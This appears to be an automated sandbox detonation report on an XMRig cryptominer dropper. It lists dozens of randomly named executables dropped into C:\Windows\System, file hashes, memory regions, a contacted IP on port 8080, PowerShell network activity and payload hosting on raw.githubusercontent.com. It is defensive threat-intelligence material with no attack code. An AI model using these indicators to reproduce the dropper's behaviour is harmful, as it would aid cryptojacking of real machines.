C:\Windows\System\QXixlVu.exe

C:\Windows\System\QXixlVu.exe

C:\Windows\System\wpiBiOz.exe

C:\Windows\System\wpiBiOz.exe

C:\Windows\System\bKBGiNH.exe

C:\Windows\System\bKBGiNH.exe

C:\Windows\System\yEHiYXz.exe

C:\Windows\System\yEHiYXz.exe

C:\Windows\System\KdEUNBO.exe

C:\Windows\System\KdEUNBO.exe

C:\Windows\System\mmevSmv.exe

C:\Windows\System\mmevSmv.exe

C:\Windows\System\tlNanVh.exe

C:\Windows\System\tlNanVh.exe

C:\Windows\System\LRvAqqh.exe

C:\Windows\System\LRvAqqh.exe

C:\Windows\System\ZBIUJaa.exe

C:\Windows\System\ZBIUJaa.exe

C:\Windows\System\FuVvhCg.exe

C:\Windows\System\FuVvhCg.exe

C:\Windows\System\MFnGtxT.exe

C:\Windows\System\MFnGtxT.exe

C:\Windows\System\LWbotOD.exe

C:\Windows\System\LWbotOD.exe

C:\Windows\System\Dumstgo.exe

C:\Windows\System\Dumstgo.exe

C:\Windows\System\HLSUJQJ.exe

C:\Windows\System\HLSUJQJ.exe

C:\Windows\System\dnJdvUd.exe

C:\Windows\System\dnJdvUd.exe

C:\Windows\System\uoRXGSr.exe

C:\Windows\System\uoRXGSr.exe

C:\Windows\System\ERyvmYT.exe

C:\Windows\System\ERyvmYT.exe

C:\Windows\System\Lkbazpm.exe

C:\Windows\System\Lkbazpm.exe

C:\Windows\System\kzZegqS.exe

C:\Windows\System\kzZegqS.exe

C:\Windows\System\jYsMjNo.exe

C:\Windows\System\jYsMjNo.exe

C:\Windows\System\cFfvWpc.exe

C:\Windows\System\cFfvWpc.exe

C:\Windows\System\EPVSOee.exe

C:\Windows\System\EPVSOee.exe

C:\Windows\System\MXQOHxP.exe

C:\Windows\System\MXQOHxP.exe

C:\Windows\System\kpZtQcy.exe

C:\Windows\System\kpZtQcy.exe

C:\Windows\System\MaSlNwQ.exe

C:\Windows\System\MaSlNwQ.exe

C:\Windows\System\NBWdtQz.exe

C:\Windows\System\NBWdtQz.exe

C:\Windows\System\ldBhKTF.exe

C:\Windows\System\ldBhKTF.exe

Network

Country Destination Domain Proto
DE 3.120.98.217:8080 tcp
DE 3.120.98.217:8080 tcp
DE 3.120.98.217:8080 tcp
DE 3.120.98.217:8080 tcp
DE 3.120.98.217:8080 tcp
DE 3.120.98.217:8080 tcp

Files

memory/2084-1-0x000000013F340000-0x000000013F736000-memory.dmp

memory/2084-0-0x00000000003F0000-0x0000000000400000-memory.dmp

\Windows\system\LZRpOsm.exe

MD5 2886ffcfa44b6a827e417569a64079e9
SHA1 3465e08771c109179a3d334e7c8b95453e4b6306
SHA256 50092bfe64f0c4b4c7ee3b3f3c1a33bf62c0f3d81fbc156059d2b64077a99f7b
SHA512 19bc21e8ded903f7dfade42b43d9a19a176fdea3d6de28a75c9bc7da6f7d001e6bc9de1bc69decd7825916a8846446b572884f6402e34dc612777ca6b3704523

\Windows\system\HnSXOxY.exe

MD5 fd5358e26f93f5593b29c5cb293dde6f
SHA1 bdc8e5f15c8b9e66d456b851b70d2acdd6371caf
SHA256 e64458e65a01d1726a9bbab9cd9fcedd200a161898ab073251d7c47f05e30dd4
SHA512 4f7fdbbbf8d8dd120b17867d9c291b2c1cfe3df8e5ee5bb6f764a61c23070ba6d30dcdaf20dedba144a8d1f908523afda01082860bbbca6274e97feebb8f7469

memory/2084-11-0x0000000002D30000-0x0000000003126000-memory.dmp

memory/1780-13-0x000000013F6F0000-0x000000013FAE6000-memory.dmp

memory/2776-15-0x000000013F6A0000-0x000000013FA96000-memory.dmp

C:\Windows\system\EgXTUoj.exe

MD5 d06dd75805744b6f3556ede6d27dffa2
SHA1 65d682d466a42d97e4f1acb0ee6b4cd6903638f6
SHA256 612e659727b77ff6ad9d5070384870ed4cc4c8e302e551e2d5fec7c7503a71a7
SHA512 230540a7d883fd3843dfff834f61625cae6467f46a31f47fbf321cc6a99d9ce5d057211568ede788d8fe83825956e8e5e6a213c356f0e155887c4e328e0f30cf

C:\Windows\system\WYcEmBb.exe

MD5 11113328bc0e4ebbd460975584ab97b6
SHA1 e388d0d6002257b905002f1c5b59e41b99387e0e
SHA256 b3e8bf827bcf726e6fcf4c71acc1f827ac313bcadb7c442d2d73b9c8932d5c93
SHA512 4cb49f36bd0f4abae1d10ed5dc601018ebc7a1bcef6e6263808430f402026479a6f69c764aad9a73d54e49421e496608b0711f0531f62191fa5aefaf8c0d97d1

memory/2920-35-0x0000000002C90000-0x0000000002D10000-memory.dmp

memory/2084-28-0x0000000003100000-0x00000000034F6000-memory.dmp

C:\Windows\system\OvHNNBZ.exe

MD5 cc517b5bbcf374728dfd5b60944c5a06
SHA1 a7ff29c28d8f1c9a3b0da32bc4b1bfc8b96c3372
SHA256 9430faca0e779aaffb9b0024eb6e81ec6230855eb9e6d9d716521e81719c59be
SHA512 80d89ed8c05d012a9b8018c9dc330aabafe15de89df2e3ff49e5b7158adf3eb29dcabff333b1441227ed3487cc987a14bad882cfe1c3863785ba9d27b45a525a

C:\Windows\system\SQcsGyv.exe

MD5 86173508b33114e8fd6cdade7d2a4e7c
SHA1 eca70f34ed26b263aa9ebdf88a121b2ede5a91e5
SHA256 78816e8886f617a3237c7ce5532ce2fd243bc0576c1db94aeb135801a3b9832f
SHA512 bd7a4d0eaefd8d87137070a0003f0ac2922f2e4fe4022d3526ec3e0caf664e97e956f4df5e89d5797b60f660f8d12d833a6c42dd30d275734cc9dddee555ad59

\Windows\system\kRXcCUM.exe

MD5 bbefead85fc9b5da2b1f7dc723e82bd7
SHA1 ca92d78106d899bf7a55b546b1734265fedd6d1f
SHA256 93d3f92462018b3017b5b5d1f19cff4e1146f566a98a06d4e66b6e252f55feb4
SHA512 dc019cb8f8a77feee094bfbb439a88211f493e09205b861a0123e8c42f46bf8fb03d6af602e51a23d32262c71553dc187f6351a543be293ac2638184d7ac76bb

C:\Windows\system\dNjAuIe.exe

MD5 8baf5005d0bdda0b061a2c4e89864ff6
SHA1 8939b399938a84cffc54b6bee0bfcce967fe050a
SHA256 e6602eefcd5cc7e9a31849c608d6ddabe5208b71e6f80f829d1e904583876d85
SHA512 d5d03855cbe69141beaa2fa2f03dae05aa9e53c907380b1584492f55c36a5eea236aae0b201ef7bf017fffe1021489c2b04162888be2aab79e3caa12c49b7aef

C:\Windows\system\boyaTVo.exe

MD5 901f96e3c093c31406c2a54cb4ad1bf6
SHA1 f2dfa219a92782feb64926b3703dab2974febf61
SHA256 92158122fc4e0310a0aa7792e959f1a9b32d9ba14912b0336424bf82ed39f7d5
SHA512 b0d0fb29ced6f626a96cbb5550acdc051b29978faf6faaf6776f4ff70002ed195ad8074d9a33af1b46fe69934bbf3581677388955a3f086194113cea75f9077a

C:\Windows\system\gKslIfk.exe

MD5 b0115721cccb728f12773c9865359c9d
SHA1 164ed639725120583a8805de2fd21ee07b2e15e2
SHA256 03232ef3dc7358b479308d2a6d69cbb0aa6d1425bd479e1b1175d4bf778e953f
SHA512 7f9d19fc0c412804d4626eddd6e81730d8d1bc04d749c171f8897c1dd21f920642ce7bca2b59f1accb05b6750a2fc432be0bae385f6c9cca7531aaa68b0ad65b

C:\Windows\system\zfUSObo.exe

MD5 cc889773056d5ec14255cf89cbbf240f
SHA1 96de2ab29288b937a6d31b6525695b29838ef8e1
SHA256 266e6408ec2da33b8de556aaabf689c1743268244f6a4e325230f2499167eb40
SHA512 859b41b86691ea2ade9ead013b810286c3ebc46665bd9678f081db4805bd4199670fe7154c84b7dd8874935618a1d94418b218a4da0b4ff77c2c633841184f21

memory/2920-126-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

\Windows\system\ARlNTCu.exe

MD5 9cc72951ab1101b4b669e66ba0e4da12
SHA1 9d91a2f1444c0c675b172d5b7849ab5f63457247
SHA256 7986a5d7cd724c51851b1e3ae87f98217959e77c27987fe018ac643db5e77316
SHA512 a07009157c23c54f8a518eea78ba8bfc0815c65bc6ab43010042e8f05fb7002a4da4228b8f87f1ad5850dd3e20e5c4117fec5cc89ea43e290fb3b11d40a0d8c0

memory/2084-138-0x000000013FA90000-0x000000013FE86000-memory.dmp

memory/1520-141-0x000000013F310000-0x000000013F706000-memory.dmp

memory/2084-144-0x000000013FB20000-0x000000013FF16000-memory.dmp

memory/2084-128-0x000000013F7A0000-0x000000013FB96000-memory.dmp

C:\Windows\system\NgcPDkf.exe

MD5 f6ce5e11a64179475d25fc5dd2341a02
SHA1 fa9b4864a907e098697c98bb71dff81c179701b9
SHA256 ea38183bfe489897f9eb53330060c9f6326a7f44bab258e4a01e9586c4ee4458
SHA512 4fdf7b23cd4180267344293af1603dfcac31e34bd4d97f0e0020cc3ab3fd11e3e0c1c6aa282544c4b45b2710afdd26d22e706c4c800bacd1349e5dcc6ef32690

\Windows\system\mGdEQGI.exe

MD5 bcebb940a8ae0c9e2b68c1d57155446b
SHA1 78f0e35df2a5fe6f69e09cd73d8340f1aa8195e5
SHA256 b84329ed331d58aed7ec16159ec327c0234dc03ca09741da7fcedf5d413a83cb
SHA512 e33dc3023fcfc7600aa035e9e236bf33ce078e05aca929e2f6e0c62fa30f82209679240a39175a0455aa5a9816d912019272efc4f296f076539ef15a56e959f2

C:\Windows\system\UnAYayb.exe

MD5 1237a8fa499672df9a9de1984e1f6954
SHA1 05b5a91be25fcf7116ce20265c6ac735b97f6048
SHA256 3d60dd11125fc4e28c090c7608f5f7f06e87b1a902434db01cb3cc42bfb61041
SHA512 c64921488e604f9f6f1bb303fea4a48e4a8a090c7c6f7760c7f7b99526e77945d0ebe1de5f0ebb076e0892a84818fbd3df03a17de1e796f67c39091dd488bea3

C:\Windows\system\nUbaGVI.exe

MD5 b1444d2f8bbd7c24d951afcd243b78d9
SHA1 e2b15490896565c79b0a250963cd749f7505aa05
SHA256 7800251d10852287bf51692ca68c481c5e06a42f8b66e5033a343adc616eb97e
SHA512 7d02e4f71e9d3f9c6b9180ea01d3a760fe75835b07bcaf00f035dfacfe22a0281ca0382283b0344016f23809379fa644c6418df431f144869750fd47093061ae

\Windows\system\zMyXGsq.exe

MD5 c6458f043c08593aaa3d90733af79076
SHA1 abcb6c35c4bd8fdc6ae8dfb05aad51c0cbebbfc5
SHA256 af24dba7247158062f1231dd87406f8f116346959f620a2de2a011adc9740a21
SHA512 9463ddd3d7aef0834d08b0e94aa88b66b40bb669672b13d3a30ed8b54a730e3ba5c6af4063c610094718e66d3186057b4064f2f417166835b3f1a9d52c085784

C:\Windows\system\VvVhmfi.exe

MD5 47fd2dd654ba0fd58455819bf5e5edda
SHA1 89c3e5f085d259f7026229b685682f09216c74c9
SHA256 875711cad6bf5f730b87641e2e281ddd6382178a4f5c362ed2f2258ca30fa1f4
SHA512 7192f61f67678543185e54bd2ddd985feec784526c8e2be1fd63ea3d8e1ba22cb8d0e3e33d43da737c27f87aa8d0edd945726ab6b4ab228e669044469256082a

memory/2920-1110-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

\Windows\system\TprSQzv.exe

MD5 e94610701b2836fe8388e34fdd99f0da
SHA1 62c897aceec6e930da1cb158868ac9ffb7ce3c26
SHA256 6e19a7f63c033c6c3500573939bcb6ec37281ac481bcbc9b9a9bfd7313620622
SHA512 28cec974fedf64fa4be96229c6b90d1ad806924b7af32d962fe00a76c2336bc9c76e3315f38c108d3768df6c9f80afc306d2ea0d0d87e5d35f6c1a51277b5fb3

\Windows\system\TyHObAw.exe

MD5 9e06e805aacee4549ea100e3eb2abe5f
SHA1 85f97500dee16b8a1df6723c5a8acebcb2098294
SHA256 8e4bedc13ee1fc31c7fdf71494929046a8fd9655f1640ec8d32a3ab775a8313b
SHA512 b5763cddee82074dfe0104b50b7f3ce2a00647e952becb5e6fed3f1c0b94e4b4a4cfb32b322f91d7f6eeed632e9c56827a1d0b2f0c67bf9cba176d44ca2fa674

\Windows\system\AUwmjZt.exe

MD5 b9e719d676d60e92458c86958f612e14
SHA1 698c741e16d01c98c330b198e3bf815194739ade
SHA256 ebe995e02d983126d6ca7634e4ab95f6e54e58040fcab24c2c78c45980671800
SHA512 6117826e44720afe038f1a83633fcf725d310729c926346e0140d07d8425595c9ff0c2f8f1a961d3295d294aadb89c74075b6b72bab00d41913b674df4033039

memory/2920-153-0x000000001B730000-0x000000001BA12000-memory.dmp

\Windows\system\HUUbSKN.exe

MD5 1fcc494dcbe98f416a41ecd8bf698e04
SHA1 b590993b81433bd93af51689fb0cd8bc43500038
SHA256 bd33ec1e115aa19da7a9c773ab9011f6a58f83010f6767a515d66fb9a90cd3f4
SHA512 1f5271c7961c914aa8cb1e8aecc52f43c5789276070d56272965b78426e435a53d6eeead3b266a38e7d29ff062c6eba1bf2fe1596382da2ab72ac2a308109886

memory/2920-159-0x00000000027F0000-0x00000000027F8000-memory.dmp

C:\Windows\system\NCAHxFh.exe

MD5 35f2fde0205bb9f68e0f44072b6ec44e
SHA1 a647a42ff7f1db430aa9d8068c2837d965cb6d4e
SHA256 5591f1e1871c68921f14b42245bddecbe35dbc9eb028a145ed71434208fd4571
SHA512 c2c61408b16a55397126779cefd9091c72bac9e5aa906b497d4583f6b54953a21b8e1560ea795ab5fd979b1c68e76f62a15dc3e7a1a0050d86ee5814db194ec3

C:\Windows\system\BIXeVaH.exe

MD5 0088c4d767471820a93425b48ef07d45
SHA1 458759097089c95caa6f531d69776faf9127bafd
SHA256 d813b8f5419bf5aa33c08669ae538f314faed963a1a11dff80214508a8e24079
SHA512 fddf8b7a80dc0929bbc6e7f0c9810380c66c18925eb6eab2dadda9bc20e7b3b42619a3101e6dce653e996721783f287dfcf5b6357524a6e17e6e3825b5c7c6d3

memory/2604-149-0x000000013F0B0000-0x000000013F4A6000-memory.dmp

memory/2924-148-0x000000013FB20000-0x000000013FF16000-memory.dmp

memory/2084-130-0x0000000003100000-0x00000000034F6000-memory.dmp

memory/2680-129-0x000000013F7A0000-0x000000013FB96000-memory.dmp

memory/2752-127-0x000000013FF00000-0x00000001402F6000-memory.dmp

memory/2812-143-0x000000013FB70000-0x000000013FF66000-memory.dmp

memory/2084-142-0x000000013FB70000-0x000000013FF66000-memory.dmp

memory/2084-140-0x0000000003100000-0x00000000034F6000-memory.dmp

memory/2404-139-0x000000013FA90000-0x000000013FE86000-memory.dmp

memory/2220-137-0x000000013F320000-0x000000013F716000-memory.dmp

memory/2084-136-0x0000000003100000-0x00000000034F6000-memory.dmp

memory/2232-134-0x000000013F5C0000-0x000000013F9B6000-memory.dmp

C:\Windows\system\CugrwNc.exe

MD5 750612e3e0849fe3c174130c73fff567
SHA1 ee3c81e56992a6d51260ec7eaad3c740de2ab443
SHA256 d872cc306573ceb2b0460b55f4c35f35dc8d3f065b69c3d14baebd536ba9fed0
SHA512 caf0fba51565aad2b50012654c6fd036de30155db334a3a7af06a3f4208f5b8eb766a8a3bf62f44edf03def69b9710e8ffe6a23e4fc4345c6f41adabc2602278

C:\Windows\system\DMVrIXB.exe

MD5 db5851dd81fe783098cad6dd1cda5557
SHA1 3c02b432b555b72912cfc1e6d7f975602ce9f4f8
SHA256 c93451682c6ec3992b01b6d0cca5b6b08447ec16d73c0aa79f5ff574e7ba53ca
SHA512 39d8aa2ce4dee0eaeb2783ac8db52f3d1fce5daea0507bfbae1772b9166e7c1242c088af68b9668e0d92eddc8d651cc976f994df082ece10dc82442f413a3417

C:\Windows\system\VzBFyuh.exe

MD5 8fab10781583a2ec58272ce16a148d28
SHA1 2a80a1c13f1c1ed27d0f407af9a4c54665672d30
SHA256 f9447e6e0d42f0f85a5c2812e44e8523dd8fd56709c30ccf657a658aba9be46c
SHA512 7b76d8c53c1b3d53233566203e7d984d99d8dc959468a260dbe3525decdf3e705a2b7dcf9d1f10365f04dd301f3d60556e35e02981753ae52d6d1a8c7b26c500

C:\Windows\system\OjDtJBv.exe

MD5 f47930daeb2eeb40126e3ab293743f04
SHA1 caad022134cf6824ff61b07f4a4134f9adb5173f
SHA256 8f162c6e0370df197919127276f80ce7f21cbbed2876dc640fa2016ec5c0aae5
SHA512 2ec20becde158df015fb41fcb7af96fb0ddc103b6ae98eb5ed462c0fdd4f759794e068120b73b43877c794fbf85352a7d12e5612e088ac98304620e2072402f9

C:\Windows\system\HjheMnc.exe

MD5 ec5985c9a68a41413a2a8f73e9a43dfb
SHA1 7f0c5e69275e755622d0264711a57d6ed1441d48
SHA256 ab4b6433bda2c20a1d65e4e16f076dc7137a8c93ec42e64faf88245009517ca4
SHA512 b65bb5b64289b3c08bf709428636c606216025dcdd010a32878fb3acb3267a8f33d06ee366e6b06b9e8978eec5ee07fa7a218e032d116a0120aee38546246e9d

C:\Windows\system\SlAnnbc.exe

MD5 c08ffb152dcc1f648848e6f69d20b8a0
SHA1 345a2d688cfd0fa376bcf9c9bb03fa720233416d
SHA256 a026b2b4d7e80e7cfaa0d0b81c1234e94a9d7662b9ea828e68552985c5a4dd2e
SHA512 08ec21cc477fb83bf1676eaf19884b1a81240fbeba65207c181eab20ec1a867ff3fa6001ac9cba5514b5c7fd88c2f8b11a48f9f8d9f165b6829d4184f0e90ed5

C:\Windows\system\aJZBpLG.exe

MD5 70ed94100b0d0c8781252356dffcbd32
SHA1 a6a381e164f0b335673c13f8718d50377b8d8d7d
SHA256 023a584444308ed469c791731428964f39f63755e904d37dff61112e5c9643ab
SHA512 f3a952365e6cd4a61a5ff46a11b2504ca47f44218a997b52b2a632b6f2474a095194890f852e0efd46d5b9020c7c757c402e0367a867f2ae03dc8a4bab5dc944

C:\Windows\system\dtfXomT.exe

MD5 75427d5da2fa82c281f07fd5fe431c40
SHA1 29ed76869bbeace44b942036602e9d17734fe72a
SHA256 63b71da3b37a4c77b9f24e23ce21cb2f7373a7ee7a128493ab7f3a65c14aac77
SHA512 7c2ed0811af469cc1e747739d95e185b56f40e223a752d71c2b1ba1e230eb246b61411fb79231b4092cb8028546adca2c5e6924bb1468a92f7b2dbf989189d90

C:\Windows\system\tuFGTlF.exe

MD5 926c84a82f4ad9816e088d782efad845
SHA1 fb1fd8effad62533218ca593153623278aaa6a3a
SHA256 fbbe25103cc7ef34e66b9f7cdcf0806df9b140d0e8b8f4e56b276d6620b812bc
SHA512 d68e4d01108de1ef25bedf322781ad086f403bc336de367d529b4c994384ea769ebde3760ae5b2a64ab6de5223a092ea63ea406b8ef83c2686ac1470dfde2463

C:\Windows\system\aCBPzCf.exe

MD5 4a3f0bc826efc7902f8c1cc7181d54dd
SHA1 db263dd3e5636c659cda72106e3a459acff5424f
SHA256 25cdaa75205531003cfb0d021780d4ed73dad0b614bf5db24f20ab3494a78515
SHA512 f4dad0a6e67a17d56a26fb7a2428f2ba401c583cca562cb496b7742734933a76a1311ef65cf313b0c8b5ff00244d6f6c76c4f521fb3913389eef6d32c727c171

C:\Windows\system\eZUoRHp.exe

MD5 17b9a093ac4f206098e7e5f9b8b3776a
SHA1 2d444cc8d922fdee2a319368036ed2062cfad87a
SHA256 0361efd36db6411f0c7cdf27144f7db0a036c605f934c8a869faf087527d131e
SHA512 d204e293e5a20409cb7c4bb3850a8266fb25e634753c1f08d8683be794f1e3b98377fdb64eb52a20fa5a9cf91ab5e42acc8f51fbfde44f71522d9d9db085a405

memory/2084-40-0x000000013FF00000-0x00000001402F6000-memory.dmp

memory/2920-38-0x000007FEF600E000-0x000007FEF600F000-memory.dmp

memory/2084-37-0x0000000003100000-0x00000000034F6000-memory.dmp

memory/2940-34-0x000000013F340000-0x000000013F736000-memory.dmp

memory/2084-4428-0x000000013F340000-0x000000013F736000-memory.dmp

memory/2776-5812-0x000000013F6A0000-0x000000013FA96000-memory.dmp

memory/2680-5811-0x000000013F7A0000-0x000000013FB96000-memory.dmp

memory/2604-5810-0x000000013F0B0000-0x000000013F4A6000-memory.dmp

memory/2752-5820-0x000000013FF00000-0x00000001402F6000-memory.dmp

memory/1780-5827-0x000000013F6F0000-0x000000013FAE6000-memory.dmp

memory/2404-5819-0x000000013FA90000-0x000000013FE86000-memory.dmp

memory/2924-5818-0x000000013FB20000-0x000000013FF16000-memory.dmp

memory/2232-5817-0x000000013F5C0000-0x000000013F9B6000-memory.dmp

memory/1520-5816-0x000000013F310000-0x000000013F706000-memory.dmp

memory/2940-5815-0x000000013F340000-0x000000013F736000-memory.dmp

memory/2220-5814-0x000000013F320000-0x000000013F716000-memory.dmp

memory/2812-5813-0x000000013FB70000-0x000000013FF66000-memory.dmp

memory/2084-6859-0x0000000003100000-0x00000000034F6000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-13 22:33

Reported

2024-06-13 22:35

Platform

win10v2004-20240611-en

Max time kernel

93s

Max time network

141s

Command Line

"C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe"

Signatures

xmrig

miner xmrig

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Windows\System\vqeJyAN.exe N/A
N/A N/A C:\Windows\System\IDvImre.exe N/A
N/A N/A C:\Windows\System\VrgnxvG.exe N/A
N/A N/A C:\Windows\System\GJhgdpC.exe N/A
N/A N/A C:\Windows\System\oXCorot.exe N/A
N/A N/A C:\Windows\System\fbdrUkz.exe N/A
N/A N/A C:\Windows\System\CiOdGry.exe N/A
N/A N/A C:\Windows\System\rOakJVK.exe N/A
N/A N/A C:\Windows\System\rtVCiYt.exe N/A
N/A N/A C:\Windows\System\MTBgNMs.exe N/A
N/A N/A C:\Windows\System\uXlLbzB.exe N/A
N/A N/A C:\Windows\System\XYLKrKx.exe N/A
N/A N/A C:\Windows\System\dJAmsFk.exe N/A
N/A N/A C:\Windows\System\jWHxVVj.exe N/A
N/A N/A C:\Windows\System\TPWiXlx.exe N/A
N/A N/A C:\Windows\System\kXqPYhg.exe N/A
N/A N/A C:\Windows\System\XhYeEnV.exe N/A
N/A N/A C:\Windows\System\OUXrwdk.exe N/A
N/A N/A C:\Windows\System\VmQAKVN.exe N/A
N/A N/A C:\Windows\System\wnsLSuy.exe N/A
N/A N/A C:\Windows\System\fMoynta.exe N/A
N/A N/A C:\Windows\System\zFZXmSg.exe N/A
N/A N/A C:\Windows\System\zUPnuIW.exe N/A
N/A N/A C:\Windows\System\XtINqOy.exe N/A
N/A N/A C:\Windows\System\ihOvelZ.exe N/A
N/A N/A C:\Windows\System\esmwMWc.exe N/A
N/A N/A C:\Windows\System\uvMDEhe.exe N/A
N/A N/A C:\Windows\System\QvPHrVg.exe N/A
N/A N/A C:\Windows\System\lOOWlEj.exe N/A
N/A N/A C:\Windows\System\qqrFkPl.exe N/A
N/A N/A C:\Windows\System\SQnlHIJ.exe N/A
N/A N/A C:\Windows\System\ScheZtK.exe N/A
N/A N/A C:\Windows\System\JzNEmkj.exe N/A
N/A N/A C:\Windows\System\yrWQCjJ.exe N/A
N/A N/A C:\Windows\System\YWRcihi.exe N/A
N/A N/A C:\Windows\System\jDLNnzj.exe N/A
N/A N/A C:\Windows\System\kloFNjU.exe N/A
N/A N/A C:\Windows\System\WRTSYur.exe N/A
N/A N/A C:\Windows\System\HBtdvgn.exe N/A
N/A N/A C:\Windows\System\TmyekMm.exe N/A
N/A N/A C:\Windows\System\GKcVSRT.exe N/A
N/A N/A C:\Windows\System\bVDyrdt.exe N/A
N/A N/A C:\Windows\System\EcklrYW.exe N/A
N/A N/A C:\Windows\System\GMDqCcZ.exe N/A
N/A N/A C:\Windows\System\WTaZLmW.exe N/A
N/A N/A C:\Windows\System\iiQNiNi.exe N/A
N/A N/A C:\Windows\System\fNnwLyv.exe N/A
N/A N/A C:\Windows\System\WoJorIC.exe N/A
N/A N/A C:\Windows\System\zenWZpF.exe N/A
N/A N/A C:\Windows\System\WqTwoCV.exe N/A
N/A N/A C:\Windows\System\LAnyNZc.exe N/A
N/A N/A C:\Windows\System\UFXRfER.exe N/A
N/A N/A C:\Windows\System\xaKdCiG.exe N/A
N/A N/A C:\Windows\System\NHnCtai.exe N/A
N/A N/A C:\Windows\System\zKHaqyk.exe N/A
N/A N/A C:\Windows\System\ocbyihg.exe N/A
N/A N/A C:\Windows\System\cLgVrOg.exe N/A
N/A N/A C:\Windows\System\RAQzBIS.exe N/A
N/A N/A C:\Windows\System\fsumDHj.exe N/A
N/A N/A C:\Windows\System\MTdcvtX.exe N/A
N/A N/A C:\Windows\System\LapSmmr.exe N/A
N/A N/A C:\Windows\System\gAksfUV.exe N/A
N/A N/A C:\Windows\System\sdHUhPg.exe N/A
N/A N/A C:\Windows\System\KNRilNa.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\System\eCldgQT.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\sdHUhPg.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\CXxmhXH.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\oVVXbGt.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\GwODzEL.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
